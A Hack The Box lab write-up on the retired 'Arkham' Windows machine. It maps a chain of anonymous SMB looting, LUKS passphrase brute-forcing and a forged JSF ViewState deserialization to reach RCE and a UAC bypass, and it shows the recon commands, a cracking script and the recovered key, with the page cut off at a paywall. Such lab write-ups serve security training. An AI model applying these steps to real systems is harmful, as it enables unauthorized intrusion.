Arkham
Executive summary — Arkham is a Windows box built around a poorly designed trust pipeline: an anonymous SMB share leaks a LUKS-encrypted disk backup with a guessable, Batman-themed passphrase, which in turn contains the configuration files for a Tomcat/JSF (Apache MyFaces) application. That configuration reveals the symmetric keys the server uses to encrypt and sign the
javax.faces.ViewState, which makes it possible to forge a malicious serialized object (CWE-502, aysoserialgadget) that the server deserializes while trusting its own HMAC. With TCP egress completely blocked, exploitation has to be blind, and the output channel is improvised by writing into Tomcat's own webapp directory. For root, an Outlook email recovered from the initial user's profile hands over an administrator's credentials whose UAC token is filtered on an interactive logon — but not on a network logon.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Medium |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[445/SMB] anonymous BatShare -> appserver.zip -> backup.img (LUKS)
| themed passphrase (batmanforever) found by offline brute force
v
[LUKS mounted] Mask/tomcat-stuff/web.xml -> MyFaces key JsF9876-
| DES/ECB + HMAC-SHA1 of javax.faces.ViewState
v
[8080/Tomcat JSF] forged ViewState (ysoserial CommonsCollections6)
| deserialization CWE-502 -> blind RCE (TCP egress blocked,
| output read over HTTP from webapps/ROOT)
v
[RCE] arkham\alfred (user.txt)
| backup.zip -> Outlook .ost -> draft with an image
v
[creds] batman (Administrators)
| Invoke-Command to 127.0.0.1 = network logon = high-integrity
| token, no UAC filtering
v
[ROOT] root.txt
1. Reconnaissance
sudo nmap -Pn -sC -sV --top-ports 2000 --min-rate 1500 -T4 <TARGET_IP> -oN scans/nmap-top.txt
Trimmed output: default IIS on 80, SMB on 139/445 and, the interesting one, a Tomcat 8.5.37 on 8080 serving a site called "Mask Inc.":
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
8080/tcp open http Apache Tomcat 8.5.37
|_http-title: Mask Inc.
|_ Potentially risky methods: PUT DELETE
Service Info: OS: Windows
| smb2-security-mode: Message signing enabled but not required
The title and the stack (Tomcat) suggest JSF/JSP. The classic JSF attack surface is the ViewState (
javax.faces.ViewState): a blob the browser resends on every submit, which can be encrypted and signed. If the encryption keys can be obtained, it can be forged to trigger server-side deserialization.
The form page lives at /userSubscribe.faces:
curl -s http://<TARGET_IP>:8080/userSubscribe.faces | grep -oE 'name="[^"]*"'
name="javax.faces.ViewState"
name="j_id_jsp_1623871077_1:email"
name="j_id_jsp_1623871077_1:submit"
name="j_id_jsp_1623871077_1_SUBMIT"
The current javax.faces.ViewState is an unreadable base64 blob (encrypted+signed), for example: wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE=.
1.1 SMB: the encrypted LUKS image
smbclient -L //<TARGET_IP> -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
BatShare Disk Master Wayne's secrets
C$ Disk Default share
IPC$ IPC Remote IPC
Users Disk
BatShare is reachable anonymously and holds appserver.zip:
smbclient //<TARGET_IP>/BatShare -N -c 'ls; get appserver.zip'
unzip appserver.zip # => backup.img + IMPORTANT.txt
IMPORTANT.txt:
Alfred, this is the backup image from our linux server. Please see that
The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
Why it matters: the note confirms
backup.imgis password-protected and is a backup from a Linux server — a direct candidate for LUKS (CWE-552/CWE-200: an anonymous SMB share leaking a sensitive backup).
1.2 Cracking LUKS and mounting the image
file backup.img # LUKS encrypted file, ver 1 ...
The passphrase is themed (Batman), so instead of the full rockyou list the wordlist is trimmed down to character-related words, which is much faster to try:
egrep 'batman|robin|alfred|joker|scarecrow|gotham' /usr/share/wordlists/rockyou.txt > wordlist.txt
wc -l wordlist.txt # < 6000
Brute force with cryptsetup luksOpen --test-passphrase, which validates the passphrase without needing to mount or root privileges per attempt:
#!/bin/bash # luksBrute.sh
while read -r p; do
echo -n "$p" | cryptsetup luksOpen --test-passphrase backup.img 2>/dev/null \
&& { echo "PASSWORD FOUND: \"$p\""; break; }
done < wordlist.txt
PASSWORD FOUND: "batmanforever"
echo -n 'batmanforever' | sudo cryptsetup luksOpen backup.img arkham
sudo mkdir -p /mnt/arkham && sudo mount /dev/mapper/arkham /mnt/arkham
ls /mnt/arkham/Mask/tomcat-stuff
context.xml faces-config.xml server.xml tomcat-users.xml web.xml web.xml.bak ...
1.3 The ViewState encryption keys
Mask/tomcat-stuff/web.xml holds the MyFaces parameters that set the ViewState's encryption and HMAC key. The relevant base64 value is SnNGOTg3Ni0=:
echo -n 'SnNGOTg3Ni0=' | base64 -d # => JsF9876-
The resulting key,
JsF9876-, is 8 bytes — exactly a DES key size — and MyFaces uses it both to encrypt (DES) and to sign (HMAC-SHA1) the ViewState.
Root Access unlocks the content you can't see — everything else on the site is already open.
See Root Access plansNo account? Create one free then upgrade from your console.